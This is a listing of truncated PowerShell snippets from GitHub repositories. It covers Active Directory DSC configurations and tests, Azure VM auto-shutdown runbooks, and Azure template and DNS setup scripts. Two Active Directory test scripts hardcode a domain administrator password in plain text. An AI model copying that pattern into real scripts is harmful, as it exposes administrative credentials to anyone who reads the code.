configuration ActiveDirectoryInstall { param ( [Parameter(Mandatory)] [pscredential]$safemodeAdministratorCred, [Parameter(Mandatory)] [pscredential]$domainCred, [Parameter(Mandatory)] ...
PowerShellCorpus/Github/uneidel_Azure_AD_DSC/DSC/xActiveDirectory/2.9.0.0/Assert-HADC.ps1
Assert-HADC.ps1
# A configuration to Create High Availability Domain Controller $secpasswd = ConvertTo-SecureString "Adrumble@6" -AsPlainText -Force $domainCred = New-Object System.Management.Automation.PSCredential ("sva-dscdom\Administrator", $secpasswd) $safemodeAdministratorCred = New-Object System.Management.Automation.PSCr...
PowerShellCorpus/Github/uneidel_Azure_AD_DSC/DSC/xActiveDirectory/2.9.0.0/Assert-ParentChildDomains.ps1
Assert-ParentChildDomains.ps1
$secpasswd = ConvertTo-SecureString "Adrumble@6" -AsPlainText -Force $domainCred = New-Object System.Management.Automation.PSCredential ("sva-dscdom\Administrator", $secpasswd) $safemodeAdministratorCred = New-Object System.Management.Automation.PSCredential ("sva-dscdom\Administrator", $secpasswd) $localcred = New-...
PowerShellCorpus/Github/uneidel_Azure_AD_DSC/DSC/xActiveDirectory/2.9.0.0/Misc/New-ADDomainTrust.ps1
New-ADDomainTrust.ps1
$Properties = @{ SourceDomain = New-xDscResourceProperty -Name SourceDomainName -Type String -Attribute Key ` -Description 'Name of the AD domain that is requesting the trust' TargetDomain = New-xDscResourceProperty -Nam...
PowerShellCorpus/Github/uneidel_Azure_AD_DSC/DSC/xActiveDirectory/2.9.0.0/DSCResources/MSFT_xADRecycleBin/Examples/xActiveDirectory_xADRecycleBin.ps1
xActiveDirectory_xADRecycleBin.ps1
Configuration Example_xADRecycleBin { Param( [parameter(Mandatory = $true)] [System.String] $ForestFQDN, [parameter(Mandatory = $true)] [System.Management.Automation.PSCredential] $EACredential ) Import-DscResource -Module xActiveDirectory Node $AllNodes.NodeName {...
PowerShellCorpus/Github/uneidel_Azure_AD_DSC/DSC/xActiveDirectory/2.9.0.0/DSCResources/MSFT_xADRecycleBin/ResourceDesignerScripts/GeneratexADRecycleBinSchema.ps1
GeneratexADRecycleBinSchema.ps1
New-xDscResource -Name MSFT_xADRecycleBin -FriendlyName xADRecycleBin -ModuleName xActiveDirectory -Path . -Force -Property @( New-xDscResourceProperty -Name ForestFQDN -Type String -Attribute Key New-xDscResourceProperty -Name EnterpriseAdministratorCredential -Type PSCredential -Attribute Required New-...
PowerShellCorpus/Github/uneidel_Azure_AD_DSC/DSC/xActiveDirectory/2.9.0.0/Tests/xADOrganizationalUnit.Tests.ps1
xADOrganizationalUnit.Tests.ps1
[CmdletBinding()] param() if (!$PSScriptRoot) # $PSScriptRoot is not defined in 2.0 { $PSScriptRoot = [System.IO.Path]::GetDirectoryName($MyInvocation.MyCommand.Path) } $ErrorActionPreference = 'Stop' Set-StrictMode -Version Latest $RepoRoot = (Resolve-Path $PSScriptRoot\..).Path $ModuleName = 'MSF...
PowerShellCorpus/Github/uneidel_Azure_AD_DSC/DSC/xActiveDirectory/2.9.0.0/Tests/xADUser.Tests.ps1
xADUser.Tests.ps1
[CmdletBinding()] param() Set-StrictMode -Version Latest $RepoRoot = (Resolve-Path $PSScriptRoot\..).Path $ModuleName = 'MSFT_xADUser' Import-Module (Join-Path $RepoRoot "DSCResources\$ModuleName\$ModuleName.psm1") -Force; ## Disable default ADWS drive warning $Env:ADPS_LoadDefaultDrive = 0; Import-Module...
PowerShellCorpus/Github/uneidel_Azure_AD_DSC/DSC/xActiveDirectory/2.9.0.0/Tests/xADGroup.Tests.ps1
xADGroup.Tests.ps1
[CmdletBinding()] param() Set-StrictMode -Version Latest $RepoRoot = (Resolve-Path $PSScriptRoot\..).Path $ModuleName = 'MSFT_xADGroup' Import-Module (Join-Path $RepoRoot "DSCResources\$ModuleName\$ModuleName.psm1") -Force; ## AD module required as we can't mock/reference Microsoft.ActiveDirectory.Managemen...
PowerShellCorpus/Github/icebrian_azure/runbooks/Tagged-based-VM-Shutdown-Startup-Azure/Internal-AutoShutdownOfAllVM.ps1
Internal-AutoShutdownOfAllVM.ps1
$connectionName = "AzureRunAsConnection" $SubId = Get-AutomationVariable -Name 'SubscriptionId' try { # Get the connection "AzureRunAsConnection " $servicePrincipalConnection=Get-AutomationConnection -Name $connectionName "Logging in to Azure..." Add-AzureRmAccount ` -ServicePrincipal ` ...
PowerShellCorpus/Github/icebrian_azure/runbooks/Tagged-based-VM-Shutdown-Startup-Azure/Internal-AutoShutdownSchedule.ps1
Internal-AutoShutdownSchedule.ps1
<# .SYNOPSIS This Azure Automation runbook automates the scheduled shutdown and startup of virtual machines in an Azure subscription. .DESCRIPTION The runbook implements a solution for scheduled power management of Azure virtual machines in combination with tags on virtual machine...
PowerShellCorpus/Github/icebrian_azure/runbooks/Tagged-based-VM-Shutdown-Startup-Azure/Assert-AutoShutdownSchedule.ps1
Assert-AutoShutdownSchedule.ps1
<# .SYNOPSIS This Azure Automation runbook automates the scheduled shutdown and startup of virtual machines in an Azure subscription. .DESCRIPTION The runbook implements a solution for scheduled power management of Azure virtual machines in combination with tags on virtual machine...
PowerShellCorpus/Github/icebrian_azure/runbooks/Automys_Scheduled-Virtual-Machine-Shutdown-Startup-Microsoft-Azure/Assert-AutoShutdownSchedule.ps1
Assert-AutoShutdownSchedule.ps1
<# .SYNOPSIS This Azure Automation runbook automates the scheduled shutdown and startup of virtual machines in an Azure subscription. .DESCRIPTION The runbook implements a solution for scheduled power management of Azure virtual machines in combination with tags on virtual machine...
PowerShellCorpus/Github/icebrian_azure/templates/iis-2vm-sql-1vm/scripts/WebServerConfig.ps1
WebServerConfig.ps1
#http://geekswithblogs.net/Wchrabaszcz/archive/2013/09/04/how-to-install-windows-server-features-using-powershell--server.aspx Configuration WebServerConfig { Node ("localhost") { #Install the IIS Role WindowsFeature IIS { Ensure = "Present" Name = "Web-Server" } #Install ASP.NET 4.5 W...
PowerShellCorpus/Github/icebrian_azure/templates/vm-octopus-tentacle/OctopusTentacle.ps1
OctopusTentacle.ps1
Configuration OctopusConfig { param ($ApiKey, $OctopusServerUrl, $Environments, $Roles, $ListenPort) Import-DscResource -Module OctopusDSC Node "localhost" { cTentacleAgent OctopusTentacle { Ensure = "Present"; State = "Started"; # Tent...
PowerShellCorpus/Github/icebrian_azure/templates/vm-multiple-data-disk/DataDisk.ps1
DataDisk.ps1
Configuration DataDisk { Import-DscResource -ModuleName PSDesiredStateConfiguration Import-DSCResource -ModuleName xStorage Node localhost { xWaitforDisk Disk2 { DiskNumber = 2 } xDisk DataVolume2 { ...
PowerShellCorpus/Github/icebrian_azure/templates/vm-multiple-data-disk/xStorage/2.5.0.0/tests/unit/MSFT_xDisk.tests.ps1
MSFT_xDisk.tests.ps1
<# .Synopsis Unit tests for xDisk .DESCRIPTION Unit tests for xDisk .NOTES Code in HEADER and FOOTER regions are standard and may be moved into DSCResource.Tools in Future and therefore should not be altered if possible. #> $Global:DSCModuleName = 'xDisk' # Example xNetworking $Global:DSC...
PowerShellCorpus/Github/icebrian_azure/templates/vm-multiple-data-disk/xStorage/2.5.0.0/Resources/xDscResourceDesigner_CreateScript.ps1
xDscResourceDesigner_CreateScript.ps1
$modules = 'C:\Program Files\WindowsPowerShell\Modules\' $modulename = 'xDiskImage' $Description = 'This module is used to mount ISO or VHD files as local disks.' if (!(test-path (join-path $modules $modulename))) { $modulefolder = mkdir (join-path $modules $modulename) New-ModuleManifest -Path (join-p...
PowerShellCorpus/Github/icebrian_azure/templates/vm-multiple-data-disk/xStorage/2.5.0.0/Resources/ExampleScript.ps1
ExampleScript.ps1
# Mount ISO configuration MountISO { Import-DscResource -ModuleName xDiskImage xMountImage ISO { Name = 'SQL Disk' ImagePath = 'c:\Sources\SQL.iso' DriveLetter = 's:' } } MountISO -out c:\DSC\ Start-DscConfiguration -Wait -Force -Path c:\DSC\ -V...
PowerShellCorpus/Github/icebrian_azure/powershell/DNS_Quick_start.ps1
DNS_Quick_start.ps1
# https://azure.microsoft.com/en-gb/documentation/articles/dns-getstarted-create-dnszone/ # https://azure.microsoft.com/en-gb/documentation/articles/dns-getstarted-create-recordset/ Login-AzureRmAccount Select-AzureRmSubscription -SubscriptionId fb8f8229-3cbd-4811-843c-ce7344396f8a New-AzureRmResourceGroup -N...